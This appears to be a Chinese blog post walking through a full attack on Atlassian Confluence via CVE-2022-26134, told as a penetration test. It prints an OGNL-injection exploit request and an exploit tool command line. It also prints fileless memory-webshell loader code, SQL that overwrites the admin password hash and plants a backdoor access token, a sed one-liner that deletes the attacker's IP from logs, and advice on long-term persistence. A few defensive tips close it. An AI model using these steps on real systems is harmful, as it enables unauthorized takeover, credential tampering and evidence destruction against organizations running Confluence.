从RCE到数据库接管:一次完整的Confluence CVE-2022-26134实战利用与权限维持记录

张开发
2026/4/15 0:52:19 15 分钟阅读

分享文章

从RCE到数据库接管:一次完整的Confluence CVE-2022-26134实战利用与权限维持记录
从RCE到数据库接管Confluence CVE-2022-26134漏洞的深度利用与权限维持实战那是一个典型的渗透测试项目目标企业使用了Atlassian Confluence作为内部知识管理系统。在初步侦察阶段我注意到他们的Confluence版本号显示为7.13.5——这立刻触发了我的警觉因为我知道这个版本范围正受到CVE-2022-26134的影响。这个漏洞允许攻击者通过精心构造的OGNL表达式注入实现远程代码执行(RCE)而无需任何认证。1. 漏洞原理与初始利用CVE-2022-26134的核心在于Confluence服务器错误地将用户提供的URI参数解析为OGNL(Object-Graph Navigation Language)表达式。正常情况下这些参数应该被当作简单的字符串处理但由于框架的设计缺陷攻击者可以注入恶意OGNL代码最终导致任意Java代码执行。关键利用步骤漏洞验证首先发送一个简单的探测请求GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29%7D/ HTTP/1.1 Host: target-confluence:8090命令执行确认当看到响应头中包含X-Cmd-Response字段且内容为confluence(默认运行用户)时确认漏洞存在。自动化工具选择虽然可以手动构造请求但使用开源工具如through_the_wire能提高效率python3 confluenceRce.py --rhost 192.168.1.100 --rport 8090 --lhost 10.0.0.5 --protocol http:// --cmd id注意在实际渗透中避免使用会产生大量日志的明显命令如whoami或id可以尝试更隐蔽的探测方式如检查/proc/self/environ或特定文件存在性。2. 突破Linux环境限制成功执行命令只是第一步。在标准的Linux部署中Confluence通常以低权限用户confluence运行这带来了两个主要挑战文件写入限制Web目录通常不可写无法直接部署Webshell权限提升困难缺少sudo权限难以直接提权解决方案对比方法优点缺点传统Webshell简单直观需要可写目录易被检测内存马无文件落地隐蔽性高需要特定框架知识反向Shell交互性强网络连接可能被防火墙拦截我最终选择了无文件内存马方案使用开源工具注入基于Filter的内存Webshell// 简化版内存马注入代码 String className evil.MemShell; byte[] classBytes // 从远程加载的恶意类字节码 new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()) .defineClass(className, classBytes, 0, classBytes.length);注入成功后可以通过特定路径访问内存Webshell完全绕过文件系统限制。这种技术的关键优势在于不修改任何磁盘文件重启后失效但可通过持久化机制重新注入传统杀毒软件难以检测3. 数据库访问与凭证操纵获得执行环境后下一步是定位和访问Confluence的数据库。默认配置下数据库连接信息存储在/var/atlassian/application-data/confluence/confluence.cfg.xml典型的PostgreSQL连接配置如下property namehibernate.connection.urljdbc:postgresql://localhost:5432/confluence/property property namehibernate.connection.usernameconfluenceuser/property property namehibernate.connection.passwordDB_PASSWORD/property数据库操作关键表cwd_user存储用户账号和加密后的密码AO_81F455_PERSONAL_TOKEN个人访问令牌(PAT)bandana存储会话令牌等敏感数据两种持久化技术对比密码替换法UPDATE cwd_user SET credential {PKCS5S2}UokaJs5wj02LBUJ... WHERE user_name admin;优点直接控制现有管理员账户缺点可能被定期密码审计发现个人访问令牌创建INSERT INTO AO_81F455_PERSONAL_TOKEN (HASHED_TOKEN, USER_NAME, CREATED_DATE) VALUES ({PKCS5S2}Deoq/psifhVO0VE8qhJ6..., admin, NOW());优点更隐蔽不影响正常密码缺点需要了解有效令牌格式4. 痕迹清理与持久化策略完成控制后清除痕迹同样重要。Confluence的主要日志位置包括/var/atlassian/application-data/confluence/logs//opt/atlassian/confluence/logs/自动化清理脚本示例# 删除包含攻击IP的访问日志 find /var/atlassian/application-data/confluence/logs/ -type f -name *.log \ -exec sed -i /192.168.1.100/d {} \; # 清理PostgreSQL日志 psql -U confluenceuser -d confluence -c \ SELECT pg_rotate_logfile();对于长期持久化我推荐组合以下技术计划任务通过内存马定期检查后门状态数据库触发器在特定表上设置触发器维持访问合法插件开发或修改一个Confluence插件作为持久化载体防御检测建议监控异常的OGNL表达式解析限制Confluence服务器的出站连接对数据库操作进行审计定期检查内存中的可疑Java类这次实战展示了从漏洞利用到完全控制的全过程其中最关键的教训是即使是最成熟的企业软件错误配置和未及时修补的漏洞也可能导致整个系统沦陷。对于防御方而言多层防护和持续监控必不可少。

更多文章